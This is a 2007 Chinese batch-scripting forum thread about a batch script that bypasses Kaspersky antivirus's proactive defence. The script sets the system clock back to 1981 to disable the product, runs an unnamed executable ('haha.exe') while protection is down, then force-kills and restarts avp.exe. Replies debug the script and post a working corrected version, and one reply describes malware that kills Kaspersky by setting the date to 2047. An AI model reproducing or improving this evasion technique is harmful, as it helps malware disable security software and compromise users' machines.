楼 主
绕过卡巴主动防御的批处理【新方法遇到疑问】
发表于 2007-06-29 12:32 · 中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
网上有个饶过卡巴主动防御的批处理,但是每次恢复日期后卡巴不能一下子快速反映回来,会没响应一分钟左右。
我想到用结束进程再恢复的方法来让它快速反映。
但是写批处理遇上个莫名其妙的问题。
先帖上代码
@echo off
tasklist|findstr /i "avp.exe" && (
set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
call %avpp%
goto exit
)
:exit
echo 结束
pause
问题是启动卡巴后无法执行后面的exit标号后的代码。
我郁闷的要死
请高人指点!!!!
[
Last edited by heicai on 2007-6-29 at 12:59 PM ]
第 2 楼
发表于 2007-06-29 13:01 · 中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
积分 788
发帖 366
注册 2006-12-31 02:43
19年会员
UID 75048
性别 男
状态 离线
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西
正在潜水修练的批处理小白
第 3 楼
发表于 2007-06-29 13:02 · 中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
Originally posted by dikex at 2007-6-29 01:01 PM:
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西
把时间改成1981年,再改回来。
这时卡巴就完全瘫痪了。用taskkill命令可以杀死进程!
第 4 楼
发表于 2007-06-29 13:36 · 中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
第 5 楼
发表于 2007-06-29 13:39 · 中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
Originally posted by HAT at 2007-6-29 01:36 PM:
把call改成start
乱说,这样连卡巴都启动不起来了。
第 6 楼
发表于 2007-06-29 13:47 · 中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
积分 788
发帖 366
注册 2006-12-31 02:43
19年会员
UID 75048
性别 男
状态 离线
注意用语
call调用后需要等待被调用的命令结束才会执行下一个命令的;
改为start可以,但如果路径有空格,直接改会出问题了;
start "" "路径" 参数
正在潜水修练的批处理小白
第 7 楼
发表于 2007-06-29 13:53 · 中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"
麻烦楼上的告诉我start %avpp%具体该怎么写
[ Last edited by heicai on 2007-6-29 at 01:55 PM ]
第 8 楼
发表于 2007-06-29 14:41 · 中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
//乱说,这样连卡巴都启动不起来了。
要低调 要低调 ^_^
start命令是可以滴
第 9 楼
发表于 2007-06-29 14:47 · 中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
try this one :)
@echo off
set app=C:\test 1\my test\aa.bat
start "" "%app%"
aa.bat
@echo off
echo 我的目录有这么多空格,还是可以被start执行嘿嘿
pause
我的目录有这么多空格,还是可以被start执行嘿嘿
Press any key to continue . . .
第 10 楼
发表于 2007-06-30 21:37 · 中国 贵州 铜仁 电信
初级用户
★
积分 51
发帖 21
注册 2007-06-27 20:32
19年会员
UID 92534
性别 男
状态 离线
@echo off
tasklist|findstr /i "avp.exe" && (
set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
start "" %avpp%
goto exit
)
:exit
echo 结束
pause
换成这个就可以了~!
一直都很菜~!!!
第 11 楼
发表于 2007-06-30 22:40 · 中国 湖北 武汉 电信
新手上路
★
积分 16
发帖 6
注册 2006-11-08 13:49
19年会员
UID 70045
性别 男
状态 离线
还是不行啊,说什么没找到framedyn.dll,因此这个程序未能启动
第 12 楼
发表于 2007-08-23 15:50 · 中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
你就知道 卡巴 没有考虑过你改时间的问题啊
省点时间抱抱猫,转转 论坛学习吧
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
第 13 楼
发表于 2007-08-23 19:07 · 中国 山西 临汾 联通
中级用户
★★
积分 216
发帖 81
注册 2007-08-06 12:23
18年会员
UID 94721
性别 男
状态 离线
上次在网上见了一种病毒把时间一下改成2047年,卡巴斯基一下子就过期不能用啦这时它的自我保护功能就失效 啦,这时可以K掉它
第 14 楼
发表于 2007-08-24 03:20 · 中国 北京 中国科学院研究生院玉泉四公寓
银牌会员
★★★
积分 1,187
发帖 555
注册 2006-12-21 07:35
19年会员
UID 74129
性别 男
状态 离线
Originally posted by heicai at 2007-6-29 13:53:
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"
麻烦楼上的告诉我sta ...
来个全盘搜索
for %%a in (c d e f) do (
for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb
)
然后调用avp-%%a
这个简单
我就不写了
[
Last edited by scriptor on 2007-8-24 at 03:23 AM ]
第 15 楼
发表于 2007-08-24 14:21 · 中国 广东 中山 电信
初级用户
★
积分 128
发帖 16
注册 2007-01-26 04:00
19年会员
UID 77697
性别 男
状态 离线
汗一个..研究这个.不会是想做病毒吧??
不过.也学习啦.呵呵
改系统时间真的可以把卡巴K掉啊?
要试验下了
论坛跳转: